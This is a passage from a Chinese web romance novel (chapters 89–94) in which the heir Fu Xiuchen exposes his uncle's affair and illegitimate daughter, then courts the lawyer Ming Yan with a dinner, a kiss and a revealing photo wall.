挂掉电话,他重新闭上眼睛…… 傅承平—— 他这个好二叔…… 之前倒是小瞧他了! 第89章 你自己生的野种,不敢认吗? 傅修沉的黑色宾利驶入傅家老宅时,天色已经彻底暗了下来。 老宅灯火通明。 他刚踏进客厅,就听见一阵压抑的啜泣声,混杂着七嘴八舌的议论。 “大嫂,您别太难过了,这事……唉,肯定是那些无良媒体胡说八道!”小姑子傅承慧拍着她的背,语气唏嘘,只是眉眼间遮不住地幸灾乐祸。 “就是啊,大哥都走了这么多年了,怎么可能……”二婶许婷婷眉头紧皱,满脸的不信。 傅承慧抿了抿唇,又道,“可这照片,这时间线……说得有鼻子有眼的……” 温静姝猛地抬头,声音带着哽咽:“我和成业夫妻十多年,他绝不是这种人!” 她与傅成业少年夫妻,恩爱半生,中年丧夫几乎击垮了她,全凭着对亡夫的思念和唯一的儿子才支撑到现在。 如今这莫名其妙的私生女传闻,无异于否定了她与丈夫半生的感情,往她心口最痛处捅刀。 “妈……” 就在这时,一道温沉清冷的嗓音响起。 温静姝下意识地回眸,连忙起身迎了过去,“修沉!你可算回来了…” 傅修沉伸手扶住她,目光在客厅里扫了一圈。 除了二婶许婷婷看得出是真心实意地担忧,其他人的皆是有些不自在地别开了眼…… 他收回目光,扶着温静姝在沙发上坐下,声音沉稳,“妈,别急,事情还没弄清楚。” “这还有什么不清楚的?” 就在这时,傅老夫人拄着拐杖从偏厅走出来,脸色不太好看,“那孩子长得简直和成业一个模子刻出来的……况且人家姑娘根本就不想认咱们傅家!” 傅修沉眉梢微挑:“不想认傅家?” 傅老夫人叹了口气,“秦婉那孩子说了,她和她妈妈过得很好,不需要攀附傅家……哎,那倔强劲儿,跟老大年轻时真是一模一样…” 温静姝的眼眶越发地红,眼见着眼泪就要涌出来。 傅修沉轻轻拍了拍母亲的手,转向傅老夫人:“奶奶,那你觉得这事应该怎么处理?” 傅老夫人抬起眼皮,语气带着几分无奈:“还能怎么处理?人言可畏啊!再说了,时间也对得上……成业他……唉,也许当年是真的糊涂过一次……毕竟,男人嘛……” 她这话说得含糊其辞,看似在感叹,实则却是在无形中给已故的傅成业定了性。 温静姝听得浑身一颤,脸色更加难看。 傅修沉眸色微沉,心底冷笑一声。 果然。 他这位奶奶,为了她那个不成器的小儿子和上不得台面的孙女,真是连脸面和死去的长子名声都不顾了。 “奶奶的意思是,认下这个傅家血脉?”傅修沉语气听不出喜怒。 傅老夫人叹了口气,“不管怎么说,若真是成业的骨血,那就是我们傅家的孩子,也算是你妹妹,流落在外这么多年,吃了不少苦……总不能让她一直没名没分吧?再说,这事闹得这么大,我们傅家若是不闻不问,外面的人会怎么看我们?” 傅承平也跟着点头,“是啊,大嫂,妈说得也有道理。大哥已经不在了,我们总不能让他的血脉流落在外……” 他说的情真意切,只是眼神却有些飘忽不定。 傅修沉将他们的表演尽收眼底,心中一片冰寒。 他正要开口,管家福伯匆匆走了进来,面色古怪地禀报:“老夫人,夫人,少爷……外面……外面那位秦婉小姐来了,说……说是老夫人让她过来的……” 客厅里瞬间一静。 几乎所有人的视线齐刷刷地投向傅老夫人。 “这事既然发生了,自然是面对面地说清楚……”傅老夫人挥了挥手,“行了,让她进来吧!” 傅修沉挽着母亲的胳膊坐在沙发上,长腿微搭,一张清冷的脸上看不出什么神情。 很快,秦婉跟在福伯身后走了进来。 她今天穿着一身素雅的白色连衣裙,脸上未施粉黛,与平日里那个张扬跋扈的模样判若两人。 “你看这孩子的眉眼,是不是跟老大小时候一模一样……”傅老夫人满脸激动地迎上去,紧紧地握着秦婉的手,“好孩子,这些年,让你受苦了……” 一模一样? 傅修沉微微挑了挑眉,别说跟他父亲傅承业长得一点儿都不像,甚至跟他那位好二叔都半点儿相似也无…… 相貌模样明显十成十地随了秦晓林。 “我今天来,是想当着你们的面说清楚!” 就在这时,秦婉深吸一口气,“我绝不是傅成业先生的女儿!请你们相信我!也请……请你们不要再打扰我和我妈妈的生活了!” 这话一出,客厅里所有人都愣住了。 傅老夫人脸色微变,急忙道:“你这孩子,胡说八道什么,你放心,我们不会委屈你的,以后一定会好好弥补你……” 而就在这时,傅修沉忽然低低地笑了一声。 那笑声不大,却带着一种冰冷的嘲弄。 所有人都下意识地看向他。 只见傅修沉慢条斯理地站起身,踱步到秦婉面前,居高临下地看着她。 他薄唇微启,语气轻飘飘的,“演完了?” 秦婉被他看得心底发毛,强装镇定地抬起头,“傅少爷……我不明白您的意思……” “不明白?” 傅修沉微微俯身,“那我提醒提醒你。君悦酒店1808号总统套房,过去五年里,你妈秦晓林和我那位好二叔在那里开了一百多次的房,需要我把具体的日期和时间,念给你听吗?” 秦婉的脸色“唰”一下变得惨白如纸。 傅承平更是猛地从沙发上弹起来,惊怒交加:“傅修沉!你胡说什么?!” “胡说?”傅修沉直起身,语气依旧平淡,“银行流水,监控截图,甚至……几次私密的通话录音,二叔,你想先听哪一样?” 他每说一样,傅承平和秦婉的脸色就白一分,傅老夫人的脸色也越发难看。 傅承平额头上沁出冷汗,色厉内荏地吼道:“傅修沉!你竟敢调查我?!” “调查你?”傅修沉冷冷地瞥了他一眼,“二叔,若要人不知,除非己莫为。你自己生的野种,不敢认吗?” 一句‘野种’,让所有人的脸色皆是大变。 “什么……意思……” 就在这时,一直没有说话的许婷婷突然嗓音微颤地开了口,“承平,她……她是……” “婷婷,你听我解释……” “你闭嘴!你……你……”她气得浑身发抖,话都说不利索,眼前一黑,直挺挺向后倒去! “婷婷!” 一时间,整个客厅顿时乱成了一锅粥…… 第90章 你要不要脸? 傅老夫人被这接二连三的刺激气得胸口剧烈起伏,老脸涨红。 她一手捂着心口,一手指着傅修沉,嘴唇哆嗦着,“你……你……孽障!你是要气死我啊!” 然而,傅修沉却连眼皮都没多抬一下。 他扶住身边温静姝,声音沉稳得听不出一丝波澜:“妈,这里空气不好,我陪您上楼休息。” 温静姝担忧地看了一眼晕倒的弟妹和气得快背过气的婆婆,欲言又止。 但傅修沉已经不由分说地揽着她的肩膀,半护着她,径直穿过这一片鸡飞狗跳,朝着楼梯走去。 经过傅承平时,傅修沉脚步微顿,侧头,用只有两人能听到的声音,嗓音微凉,“二叔,管好你的烂摊子,再有下次,我不介意让许家知道得更详细一点。” 傅承平浑身一颤,看向傅修沉的眼神里充满了惊惧和怨毒,却一个字也不敢反驳。 傅修沉不再停留,当即扶着母亲朝楼上走去。 他眼眸微眯——他这位奶奶,专挑今天老爷子去寺庙斋戒的日子发难,打的是什么算盘,他一清二楚。 无非是想趁着老爷子这尊大佛不在,快刀斩乱麻地把秦婉这枚棋子塞进傅家,既全了她疼爱小儿子的私心,又不敢真得罪了许家,损了傅承平最大的靠山…… 毕竟,傅承平能在傅氏集团里混得人模狗样,这么多年没被彻底踢出局,仰仗的全是他岳家许家的势。 傅承平自己是个草包,却万万不敢真把许家得罪死了。 傅老夫人就是吃准了这一点,以为能用自己的辈分和糊涂主意,左右傅家的格局。 真是——一如既往得蠢。 以前看在老爷子的面子上,他对这位偏心的奶奶尚存几分表面上的尊重,如今既然她亲手撕破了这层虚伪的和平,那他也无需再客气。 楼上主卧,温静姝坐在沙发上,依旧心绪难平,眼角带着泪痕:“修沉,你爸爸他……” “妈,”傅修沉打断她,递过一杯温水,语气笃定,“爸是什么样的人,您最清楚。外面的无稽之谈,不值得您伤心。这件事,我会处理干净。” 她点了点头,接过水杯,轻轻啜饮。 …… 楼下,经过家庭医生一番急救,许婷婷总算悠悠转醒。 她一睁开眼,看到围在身边的傅承平,想起刚才那锥心刺骨的话,悲从中来,猛地抬手—— “啪!” 一记响亮的耳光,结结实实地扇在了傅承平脸上! “傅承平!你不是人!”许婷婷声音嘶哑,眼泪汹涌而出,“我嫁给你这么多年,为你操持内外,打理上下,你就是这么对我的?!在外面养女人不说,连野种都这么大了!你还想让她冒充大伯的种进门?!你要不要脸!” 傅承平被打得懵了一瞬,脸上火辣辣的疼。 倒是傅老夫人见小儿子被打,心疼得不得了,“婷婷,啊,这事可能有什么误会……” “误会?”许婷婷猛地看向她,眼神锐利,“妈!事到如今,您还要帮着他骗我吗?那个女孩,到底是谁的种?!” 傅老夫人被儿媳难得一见的凌厉气势噎得说不出话,一张老脸青白交错。” “傅承平,我告诉你,这事没完!我们许家绝不会善罢甘休!” 许婷婷说完,狠狠瞪了一眼躲在傅老夫人身后瑟瑟发抖的秦婉,那眼神像是淬了毒,吓得秦婉往后一缩。 她不再看任何人,在保姆的搀扶下,头也不回地上了楼,“砰”地一声甩上了客房的门。 傅承平捂着脸,心里把傅修沉骂了千百遍。 傅老夫人更是气得浑身发抖,她完美的计划,不但被傅修沉彻底搅黄,还让二房夫妻反目,让许家抓住了把柄…… 这下可怎么收场?! …… 就在傅家老宅乱成一团时,傅修沉已经回到了书房。 他站在落地窗前,看着窗外沉沉的夜色,眸色比夜色更沉。 手机震动,是周慕言发来的消息:【傅总,所有证据已准备就绪,媒体那边也全部打过招呼,通稿随时可以发布。许家那边……许大少刚才来电话,询问他姑姑的情况。】 傅修沉唇角勾起一抹冷峭的弧度,回复:【告诉许宴清,他姑姑受了点刺激,无大碍。顺便,把‘礼物’给他送一份过去。】 这份礼物自然是关于傅承平和秦晓林母女那些龌龊事的完整证据链。 许宴清虽然是个纨绔少爷,但极其护短,尤其疼爱他这个姑姑。 傅承平的好日子,到头了。 刚放下手机,内线电话响了,是楼下管家福伯,声音带着为难:“少爷,老夫人……老夫人让您下去,说是一家之主不在,您作为长孙,得主持公道……” 主持公道? 傅修沉眼底掠过一丝讥讽。 是想让他下去背书,强行认下秦婉吧? “告诉奶奶,”他声音平淡无波,“我现在没空。另外,请她把心思放在安抚二婶和收拾二叔的烂摊子上。至于那个姓秦的……” 他顿了顿,语气骤冷:“从哪里来的滚哪里去,傅家的门,不是什么东西都能进的。” “……” 福伯在那头沉默了几秒,显然被自家少爷这毫不留情的话震住了,半晌才应道:“……是,少爷。” 挂了电话,傅修沉揉了揉眉心。 还没等喘口气,手机又嗡嗡地震动了起来。 待看清来电显示,他微微皱了皱眉头,这才摁下了接听键。 “喂……” 话筒里响起傅老爷子低沉的嗓音,“老宅的事,我已经知道了……” 傅修沉的嗓音淡淡,“然后呢?” 电话里沉默了几秒,“修沉,这件事你做得太绝了……” 傅修沉的嗓音淡淡,“爷爷,有人想把脏水泼到我父亲头上,玷污他身后清名,这种事你也让我忍了?” “我知道你二叔不成器,你奶奶她……糊涂!”傅老爷子揉了揉眉心,“可你这样一来,许家那边……” “许家那边,应该已经收到了一份‘大礼’。” 傅修沉淡淡道,“关于傅承平这些年是如何‘兢兢业业’为傅氏‘添砖加瓦’的。我想,比起一个上不得台面的私生女,许家更在意的是,他们扶持的,到底是个什么东西。” 傅老爷子一愣,瞬间明白了孙子的手段,这是直接毁了傅承平的根基啊! 他看着傅修沉,眼神复杂。 这个孙子,手段是越来越凌厉了。 “罢了罢了……”老爷子挥挥手,满是疲惫,“这事到此为止。你二叔那边,我会让他安分一段时间。你奶奶那里……你也别太跟她计较,她老了,更何况,你马上要订婚了,还是别闹得太僵得好……” 傅修沉不置可否。 有些底线,不容触碰。 无论是谁。 更何况…… 他闹今天这一出,也是为了明嫣…… 他放在心尖上喜欢了十年的小丫头,以后真的娶进门,他容不得让她受半点儿委屈。 第91章 用我(加更) 傅家老宅那场闹剧,最终以傅承平被发配到海外考察项目暂告一段落。 而为了给许家一个交代,秦婉母女被切断所有资金往来,净身出户。 傅老夫人直接被气得卧床不起。 傅修沉手段雷霆,快刀斩乱麻,没给任何人留下反复横跳的机会。 但有些人,就像牛皮糖,甩掉了,风一吹,又黏糊糊地贴回来。 比如霍寒山。 明嫣觉得,霍寒山最近可能去报了某种死缠烂打进修班,并且以优异的成绩毕业了。 她律所对面的明寒江南分部,俨然成了霍大律师的常驻办公点。 他每天都会准时往自己办公室送鲜花。 明嫣却连看都懒得看,直接让陆奉归处理掉。 陆奉归从最初的战战兢兢,到后来的麻木不仁,最后甚至开发了副业——把那些花分送给楼层的保洁阿姨和前台的漂亮妹妹,可谓赚足了人情。 可即使明嫣当他是透明,能躲就躲,能避就避,却还是因为加班被霍寒山堵在了律所门口。 “让开!”明嫣冷冷地看着挡在面前的霍寒山,嗓音冰凉如水。 “太晚了不安全,我送你。” “不用!”明嫣想要绕开他,却被霍寒山又拦了下来。 她当即冷着掏出手机,当着他的面,按下一串的电话号码,语气能甜出蜜:“亲爱的,我下班啦,你来接我好不好呀?” 然后,她就能透过眼角的余光,看到霍寒山攥紧了拳头,手背上的青筋暴起。 “嫣嫣……” 明嫣脸色微沉,“霍律师,麻烦以后称呼我明律师,或者……傅太太。” 傅太太? 霍寒山默默地咀嚼着这三个字,眼底翻涌着痛苦,“你们还没订婚。” “迟早的事。”明嫣不欲与他多言,转身想走。 霍寒山却上前一步,再次挡住了她的去路,“我知道你还在生我的气。以前是我不好,是我混蛋!你看,我把律所的分部开到这里,我每天都在你身边……我们再试试,好不好?就一次,最后一次……” 他说着,甚至试图去抓明嫣的手腕。 明嫣猛地后退,避开了他的触碰,眼神彻底冷了下来:“霍寒山,你够了!别在这里发疯!” “我没有发疯!我很清醒!”霍寒山的声音提高了些,“傅修沉他根本不适合你!他那种家庭,那种背景,水太深了!他今天能为了利益算计他二叔,明天就能算计你!你跟他在一起不会幸福的!” “我跟谁在一起会不会幸福,轮不到你来评判!” 明嫣彻底恼了,这人怎么跟听不懂人话似的? 霍寒山深吸了一口气,“他了解你喜欢什么讨厌什么吗?他知道你最喜欢吃草莓蛋糕吗?他知道你……” “我知道。” 就在这时,一道低沉却带着无形压迫感的声音,突兀地插了进来,打断了霍寒山的话。 傅修沉不知何时已经到来。 他没有看霍寒山,目光直接落在明嫣身上,几步走到她身边,极其自然地脱下自己的西装外套,披在了她的肩上。 带着他体温和清冽木质香的外套瞬间驱散了明嫣周身的寒意。 他这才抬眼,看向脸色难看的霍寒山。 “她半夜醒了要喝放了蜂蜜的温水,温度不能太高,四十度刚好。她不喜欢吃葱姜蒜,但喜欢吃用它们炝锅炒的菜。她表面看着强硬,其实胆子很小,怕黑,怕打雷,还怕……软体动物。” 傅修沉每说一句,霍寒山的脸色就白一分。 这些细节,有些连霍寒山自己都模糊了,或许从未在意过。 可傅修沉却说得清晰而笃定。 “至于幸不幸福……” 傅修沉微微勾唇,伸手揽住了明嫣的腰,将她往自己怀里带了带,动作亲昵而充满占有欲,“我的未婚妻,我自然会让她成为全世界最幸福的女人。不劳霍律师费心。” 他顿了顿,像是想起什么,语气带着一丝漫不经心的嘲弄:“另外,提醒霍律师一句,死缠烂打这种行为,在法律上,可能构成骚扰。我的未婚妻是律师,想必很清楚这一点。如果需要,我的法务部很乐意提供相关法律支持。” “你!”霍寒山气得胸口剧烈起伏,眼神阴鸷地盯着傅修沉搂在明嫣腰上的那只手,恨不得将其剁下来。 明嫣被傅修沉搂着,能感受到他掌心透过薄薄布料传来的温热,以及他话语里那种不容置疑的维护。 一股奇异的暖流悄悄划过心田。 她甚至配合地往傅修沉怀里靠了靠,仰起脸,对他露出一个依赖又带着点小委屈的表情:“你怎么才来呀。” 这一声,又软又糯,跟刚才面对霍寒山时的冷若冰霜判若两人。 傅修沉垂眸看她,眼底掠过一丝极淡的笑意,指腹在她腰间轻轻摩挲了一下,带着安抚的意味:“路上堵车,我的错。” 两人旁若无人的亲昵互动,像一把淬了毒的匕首,狠狠扎进霍寒山的心口。 他死死攥着拳头,指甲深陷入掌心,才勉强克制住没有当场失态。 他知道,自己又输了,输得一败涂地。 最终,他什么也没说,只是用那双布满红血丝的眼睛,深深地看了明嫣一眼,转身离开。 眼见着人离开,明嫣下意识地想要从傅修沉的怀里退出来…… 可男人的手臂却像是钢钳一样牢牢地将她圈在其中,根本挣脱不了半分。 明嫣忍不住瞪他。 傅修沉轻笑了一声,这才松开她,却握住她的手往车上走,贴心地给她打开了车门。 明嫣上了车,像是突然想到了什么,好奇地看着傅修沉:“不过,你怎么知道我怕软体动物?还有蜂蜜水四十度?” 她好像没跟他提过这些。 傅修沉挑眉,眼底带着戏谑:“想知道?” 明嫣点头。 傅修沉俯身,凑近她耳边,温热的气息拂过她敏感的耳廓,声音压得低低的,带着蛊惑:“那就好好想想,你喝醉那晚,除了抱着我不放,还说了多少小秘密?” “轰——!” 明嫣的脸瞬间爆红! 喝醉那晚! 又是喝醉那晚! 她到底还干了多少丢人的事?! “傅修沉!你不准再提那天晚上!”她羞恼地跺脚,伸手想去捂他的嘴。 傅修沉轻易抓住她作案未遂的手,低低地笑了起来,胸腔震动,连带着被他握住的她的手也感受到了那份愉悦。 “好,不提。”他从善如流,但眼里的笑意却明晃晃地写着愉悦。 他看着明嫣绯红的脸颊和因为羞恼而格外明亮的眼睛,心头微动,揽着她腰的手收紧,将两人之间的距离拉得更近。 “嫣嫣。”他唤她,声音低沉而认真。 “嗯?”明嫣下意识地应道,心跳没来由地加快。 “以后离他远点儿……”他示意霍寒山离开的方向,“对付无赖,讲道理是没用的。” “那用什么?”明嫣下意识地问。 傅修沉眸色微深,指尖轻轻抬起她的下巴,目光落在她微张的唇瓣上,语气带着一种危险的暧昧: “用我。” 话音未落,他低头,吻出了她的唇。 第92章 说好的清冷禁欲呢? 车厢内,空气像是被点燃,弥漫着灼热的气息。 那个吻里还带着她向来觉得好闻的冷木香和薄荷气息…… 从舌尖开始渗透,炙热的气息铺面而来,极具侵略感的舌尖在她口腔里辗转厮磨,吮吸舔舐…… 那一瞬间,大脑一片空白。 只觉得被他触碰的地方像是有电流窜过,四肢百骸都泛起酥麻感。 她下意识地揪紧了他胸前的衬衫布料,指尖微微发颤。 就在意乱情迷之时,傅修沉的手掌顺着她脊背线条缓缓下滑,带来一阵战栗时—— “咕噜噜……” 一阵极其不合时宜的的声音,突兀地从明嫣的腹部传了出来。 “……” 所有的动作瞬间定格。 傅修沉的唇停在距她唇瓣毫厘之处,呼吸微促。 明嫣:“……” 她恨不得当场刨个坑把自己埋了! 脸颊“轰”地一下爆红,连耳根都烫得惊人。 傅修沉微微撤开些许,垂眸看着她爆红的小脸和,眼底那浓稠的欲色渐渐散开,浮上一抹极淡的笑意。 他喉结滚动了一下,低哑的嗓音带着未散的情动,揶揄道:“饿了?” 明嫣装死,不吭声。 傅修沉却不放过她,指尖轻轻捏了捏她烫得惊人的耳垂,“怎么不说话?刚才在律所门口不是还挺凶?这会儿知道害羞了?” “谁、谁害羞了!”明嫣猛地抬起头,“我那是……那是肠胃在抗议你耽误我吃晚饭!” “我的错。”傅修沉从善如流地认错,眼底却漾着明晃晃的笑意,“那现在带你去喂饱它?” “不去餐厅了,这个点好的地方都排队。”明嫣嘟囔,她实在不想顶着这张红透的脸去人多的场合。 傅修沉似乎早有预料,对前排司机报了一个江南顶级别墅区的地址。 “去哪儿?”明嫣疑惑。 “我们的婚房。”傅修沉语气平淡,仿佛在说今天天气不错。 明嫣:“!!!” “傅修沉!我还没答应嫁给你呢!”她抗议。 “迟早的事。”傅修沉单手松了松领带,另一只手依旧揽着她的腰,姿态慵懒又强势,“先去熟悉一下环境,免得我的傅太太以后在自己家迷路。” “……” ——迷你妹的路! …… 车子驶入一处环境清幽的别墅区,最终在一栋灯火通明的现代风格别墅前停下。 别墅是冷灰调的设计,线条利落,巨大的落地窗映出室内温暖的灯光和简约却不失格调的装修。 走进去,明嫣才发现,这里并非她想象中那种冷冰冰的样板间。 客厅宽敞明亮,软装是温暖的米咖色系,巨大的沙发看起来柔软得能陷进去,地毯厚实,角落里甚至摆放着几盆生机勃勃的绿植。 最让她惊讶的是,开放式厨房里,各种厨具一应俱全,像是……被经常使用过。 “你……你会做饭?”明嫣像发现了新大陆。 傅修沉脱下西装外套,随手搭在沙发背上,解开衬衫袖扣,将袖子挽到手肘,露出线条流畅的小臂。 他走到冰箱前,一边查看里面的食材,一边头也不回地道:“嗯,吃不惯外面的东西,自己学的。” 他动作熟练地拿出鸡蛋、番茄、青菜和一些鲜虾,侧头看她,“番茄鸡蛋面,加个白灼虾,可以吗?快一点。” 暖黄的灯光勾勒着他认真的侧脸,少了平日里的冷峻疏离,多了几分居家的烟火气。 “嗯。”明嫣点了点头,靠在厨房的中岛台边,看着他把面条下进翻滚的水里,氤氲的热气模糊了他棱角分明的轮廓。 “看够了?”傅修沉头也没抬,声音带着笑意,“收费。” 明嫣回神,哼了一声:“傅总身价太高,看两眼倾家荡产。” “对你,”他忽然转身,将她困在流理台与他胸膛之间,手臂撑在她身侧,声音压低,“免费,终身VIP。” 太近了。 他身上的冷木香混着番茄的清甜,霸道地笼罩下来。 明嫣能看清他眼尾那颗朱砂痣,在灯光下红得妖冶。 她心跳漏拍,嘴硬:“谁、谁要你的VIP……” “不要VIP,”他俯身,鼻尖蹭过她的,唇瓣若即若离,“那要什么?嗯?” 最后一个“嗯”字,带着气音,搔刮着她的耳膜。 “你……你快做饭吧!”她红着脸伸手推开他的脸。 傅修沉微微勾了勾唇,倒是也没再逗她,借着她推开的力道起身,继续忙碌。 面条很快煮好,番茄汤底浓郁,鸡蛋嫩滑,上面还卧着几只粉嫩的虾仁,撒了点翠绿的葱花,香气扑鼻。 明嫣是真的饿了,也顾不上形象,坐在餐桌前小口小口吃起来。 傅修沉就坐在她对面,自己没吃多少,大部分时间都在看着她吃,眼神专注。 “你看我干什么?”明嫣被他看得有些不自在。 “秀色可餐。”傅修沉面不改色地吐出四个字。 明嫣差点被面条呛到,瞪了他一眼,“吃饭都堵不住你的嘴!” “想堵我的嘴?”傅修沉微微勾了勾唇,视线却若有似无地掠过她绯色的薄唇,“那你得换个东西来堵……” “……” 不是…… 说好的清冷禁欲呢? 明嫣没再搭理他,埋头继续吃面条。 很快,等吃完最后一口面条,她满足地放下筷子,可一抬头就撞进傅修沉深邃的眼眸里…… “吃饱了?走,带你去个地方。” “去哪儿……”明嫣下意识地起身,可还没等她说完,手已经被男人牵住,拉着她朝二楼走去。 楼梯是旋转式的,铺着柔软的地毯,脚步无声。 明嫣的心却像揣了只兔子,砰砰乱跳,几乎要撞出胸腔。 她不是不谙世事的小姑娘,自然知道成年男女,深夜,独处一室,意味着什么。 “傅修沉,我……我警告你别乱来啊……” “乱来?”傅修沉轻笑了一声,温热的气息拂过她的耳廓,“怎样算乱来?” 他顿了顿,脚步在二楼主卧门口停下,空着的那只手抬起,指尖轻轻碰了碰她滚烫的耳垂,“这样?” 他的指尖微凉,触碰却带着燎原的火星…… 第93章 擦枪走火…… 明嫣连脖颈都红透了,羞恼地瞪他:“傅修沉!” “在呢。” 他应得从善如流,眼底笑意更深,伸手推开了主卧的门。 主卧比她想象中更大,设计延续了整体的简约风格,色调是沉稳的灰与白,但巨大的落地窗外是璀璨的城市夜景,柔软的羊毛地毯踩上去仿佛陷入云端,空气里弥漫着和他身上一样的冷木香气。 最显眼的是中间那张尺寸惊人的深灰色大床,柔软的羽绒被铺陈其上,像是在无声地暗示着什么。 明嫣的目光一触及那张床,就像被烫到一样迅速移开,脸颊热度飙升。 傅修沉将她的反应尽收眼底,却不点破,只揽着她走到落地窗前。 “喜欢吗?”他站在她身后,下巴几乎抵在她的发顶,声音就响在她的耳畔。 巨大的玻璃窗映出两人相拥的身影,窗外是流动的车河与霓虹,繁华又遥远。 而在这个静谧的空间里,只有彼此的呼吸声清晰可闻。 “还……还行吧。”明嫣强迫自己冷静,试图找点话题驱散这暧昧到极点的气氛,“你平时就住这里?” “嗯。”他的手臂从身后环住她的腰,将她更紧地圈在怀里,这是一个充满占有欲的姿势,“以后,是我们。” 他的气息完全将她笼罩,温热的体温透过薄薄的衣料传递过来。 明嫣能感觉到他胸膛的起伏,沉稳有力,和她失序的心跳形成鲜明对比。 “谁要跟你一起住……”她小声嘟囔,底气却不足。 傅修沉轻笑,侧过头,唇瓣几乎贴上她的脖颈,“马上都要订婚了,想反悔?” 明嫣一想到自己是稀里糊涂地被‘订婚’,就气不打一处来,“你那根本是讹诈!” “哦?”他挑眉,环在她腰上的手开始不老实,指尖隔着毛衣,在她腰侧轻轻画着圈,带着撩人的痒意,“那现在……要不要坐实一下罪名?嗯?” 那声“嗯”拖长了尾音,像带着小钩子,狠狠挠过明嫣的心尖。 她浑身一颤,下意识地想躲,却被他更紧地禁锢在怀里。 “你放开……”她的抗议声淹没在他突然落下的吻里。 这个吻不同于之前的温柔试探,带着不容抗拒的强势和灼热的欲望。 他一手牢牢固定着她的腰,另一只手扣住她的后颈,迫使她仰头承受他的深入。 “唔……”明嫣的大脑瞬间空白,所有的思绪都被他霸道的气息搅乱。 他的舌在她口中攻城略地,汲取着她的甜美,带着一种近乎贪婪的索取。 氧气变得稀薄,她只能无力地攀附着他的肩膀,被动地承受着这个令人眩晕的吻。 意乱情迷中,她感觉到他滚烫的手掌从毛衣下摆探入,微带着薄茧的指腹直接贴上了她腰间的肌肤。 那触感清晰得让她浑身战栗。 “别……”她含糊地抗议,声音却软得不像话。 傅修沉微微撤离她的唇,额头抵着她的,呼吸粗重,眸色暗沉如夜,里面翻涌着骇人的惊涛骇浪。 明嫣心跳如擂鼓,被他身上强烈的男性气息和眼底毫不掩饰地欲望弄得手脚发软,大脑几乎停止运转。 就在她以为今晚注定要发生点什么,连呼吸都屏住的时候—— 傅修沉却却缓缓地松开了环在她腰间的手,也将那只探入她衣内的手抽了出来,甚至还顺手帮她将毛衣下摆拉好,抚平。 他后退一步,与她拉开距离,转过身去,只留下一个紧绷的宽阔背影,声音沙哑得不成样子:“……我去冲个澡。” 说完,转身大步朝着浴室的方向走去。 “砰”的一声,浴室门被关上,紧接着,里面传来了淅淅沥沥的水流声…… 明嫣还僵在原地,脸颊烫得能煎鸡蛋,心脏在胸腔里砰砰狂跳——她刚才竟然……差点儿跟傅修沉擦枪走火了? 若不是他及时刹车…… 那他们…… 不对! 她在乱想什么? 明嫣红着脸用力甩了甩头,想把那些乱七八糟的念头甩出去。 而就在这时,她的注意力突然被对面的照片墙吸引了…… 她下意识地走上前。 只见照片墙上错落有致地贴满了大大小小的照片,粗略一看,至少有上百张。 而照片的主角,无一例外,全都是傅修沉。 有他穿着蓝白校服,在国旗下讲话的青涩模样,眉眼间已初现冷峻; 有他在篮球场上挥洒汗水,起跳投篮的瞬间,阳光勾勒出他流畅的下颌线; 有他穿着学士服,站在大学校门前,手捧鲜花,面无表情,却依旧帅得让人移不开眼; 还有他在各种商业场合,穿着熨帖的西装,从容不迫,矜贵清冷的模样…… 这简直是一部傅修沉的个人成长史! 明嫣看得啧啧称奇,没想到傅修沉还有这么…… 自恋的一面? 居然在自己的卧室里弄了这么大一面照片墙? 她的目光饶有兴致地一张张看过去,不得不说,这家伙真是从小帅到大,每一张照片都像是精心拍摄的画报。 看着看着,她的视线忽然在其中一张照片上顿住了。 那张照片似乎是抓拍的,背景是京都大学的林荫道,傅修沉穿着简单的白衬衫和黑色长裤,身姿挺拔地走在路上,侧脸线条完美,眼尾那颗朱砂痣清晰可见。 他似乎在跟旁边的人说着什么,表情是难得的放松。 吸引明嫣的,不是照片中央耀眼的傅修沉,而是他身后不远处,那个被人群几乎挡住大半的、模糊的侧影—— 一个穿着蓝白校服,扎着马尾辫,怀里抱着几本书,正微微仰着头,看着路边樱花树的…… 她自己?! 明嫣猛地瞪大了眼睛,下意识地凑近了些,几乎要把脸贴到墙上。 没错! 虽然只是一个模糊的侧影,但她认得出来,那就是她高中时候的样子! 那身校服,那个傻乎乎的马尾,还有侧脸的轮廓…… 她怎么会出现在傅修沉的照片里?! 明嫣的大脑有一瞬间的宕机。 她努力回想。 是了,那年她刚上高一,学校组织去京都大学参观,说是感受顶尖学府的氛围。 她记得那天京都大学的樱花开了,很美,她走着走着就跟大部队走散了,然后就站在一棵樱花树下看了好久…… 可是……傅修沉? 他那时候应该已经大四,快要毕业了吧? 他们竟然在同一时间,出现在了同一个地方? 还被同一张照片记录了下来? 这也太巧了吧! 第94章 我暗恋你?(加更) 明嫣看着照片里那个模糊的自己,又看看前方那个仿佛会发光的傅修沉,心里涌起一种极其微妙的感觉。 那时的傅修沉在她们高中,那可是天神一般的人物。 不仅仅是因为他那张脸,更因为他那闪瞎人眼的履历——高考状元、学生会主席、数不清的竞赛金牌…… 学校的荣誉榜、宣传栏,恨不得每一寸地方都贴满他的照片和事迹。 她上高中的时候,他早已毕业,但学校里依旧流传着他的传说。 女生们茶余饭后谈论的都是他,把他奉为只可远观不可亵玩的男神。 谁能想到,几年后,他竟然成了自己的未婚夫,还在几分钟前……差点跟她滚上了床单? 命运还真是……奇妙。 “看什么这么入神?” 低沉沙哑的嗓音突然自身后响起,带着刚沐浴过后的水汽。 明嫣被吓了一跳,猛地回头。 只见傅修沉不知何时已经出来了,换上了一身深灰色的丝质睡衣,头发湿漉漉地垂在额前,少了几分平日的凌厉,多了几分慵懒和……性感。 水珠顺着他棱角分明的侧脸滑落,流过凸起的喉结,没入睡衣领口。 他的目光落在照片墙上,眼神似乎柔和了一瞬。 明嫣像是做坏事被抓包的小孩,脸颊微热,下意识地指向那张照片,“那个……这个人好像是我唉!” 她尽量让自己的语气听起来自然一点,带着点发现新大陆的惊讶:“好巧啊,我们竟然还同框过?我都不知道!” 傅修沉顺着她手指的方向看去,视线在那张照片上停留了几秒,眸光微动。 他淡淡地“嗯”了一声,语气听不出什么情绪:“是吗?没注意。” 明嫣:“……” 没注意? 没注意你把这照片放大洗出来还挂自己卧室墙上? 骗鬼呢! 她撇撇嘴,故意调侃道:“没想到傅总还有这么……怀旧的一面?收集了自己这么多照片?是不是每天睡前还要欣赏一遍自己的绝世容颜?” 傅修沉挑眉,走近几步,身上清冽的沐浴露香气混合着他独有的男性气息笼罩过来。 他垂眸看着她,眼底带着一丝戏谑:“吃醋了?” “我吃什么醋?”明嫣莫名其妙。 “吃醋我照片太多,没有你。”他说得一本正经。 明嫣直接被噎住,没好气地瞪他:“谁要吃这种醋!自恋狂!” 